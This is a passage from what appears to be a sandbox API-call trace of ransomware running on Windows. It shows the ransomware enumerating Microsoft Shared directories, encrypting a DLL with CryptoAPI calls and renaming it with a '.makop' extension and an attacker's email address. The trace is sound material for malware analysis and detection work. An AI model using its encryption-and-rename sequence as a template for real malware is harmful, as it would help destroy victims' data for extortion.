files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.497] GetLastError () returned 0x5 [0086.497] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll") returned 63 [0086.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.498] GetLastError () returned 0x5 [0086.498] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll") returned 61 [0086.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.498] GetLastError () returned 0x5 [0086.498] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0086.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.498] GetLastError () returned 0x5 [0086.498] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR") returned 56 [0086.498] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*") returned 60 [0086.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.500] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui") returned 72 [0086.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.500] GetLastError () returned 0x5 [0086.500] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.500] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA") returned 56 [0086.501] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*") returned 60 [0086.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.501] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0086.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.502] GetLastError () returned 0x5 [0086.502] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.502] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN") returned 56 [0086.502] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*") returned 60 [0086.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.504] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72 [0086.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.505] GetLastError () returned 0x5 [0086.506] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.506] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned 56 [0086.506] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*") returned 60 [0086.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.507] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0086.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.507] GetLastError () returned 0x5 [0086.507] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.507] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0086.507] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned 62 [0086.507] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*") returned 66 [0086.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0086.509] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0086.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0086.510] GetProcessHeap () returned 0x48a0000 [0086.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.510] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0086.510] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0086.510] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.510] GetProcessHeap () returned 0x48a0000 [0086.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0086.510] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0086.510] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.510] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0086.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0086.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0086.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0086.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0086.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0086.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0086.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.516] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x665a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x665a0, lpOverlapped=0x0) returned 1 [0086.526] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x665a0, dwBufLen=0x665a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x665a0) returned 1 [0086.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x665a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x665a0, lpOverlapped=0x0) returned 1 [0086.534] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x66664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.534] SetEndOfFile (hFile=0xf0) returned 1 [0086.594] GetProcessHeap () returned 0x48a0000 [0086.594] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0086.594] GetProcessHeap () returned 0x48a0000 [0086.594] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.594] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0086.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.596] CloseHandle (hObject=0xf0) returned 1 [0086.596] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0086.596] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0086.596] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0086.596] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned 53 [0086.597] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*") returned 57 [0086.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0086.597] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.598] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0086.598] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned 59 [0086.598] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*") returned 63 [0086.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.599] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.599] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0086.599] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0086.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.600] GetLastError () returned 0x5 [0086.600] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0086.601] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0086.605] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0086.605] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0086.605] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned 55 [0086.605] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*") returned 59 [0086.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0086.606] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.606] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.606] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned 60 [0086.606] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*") returned 64 [0086.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.610] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, 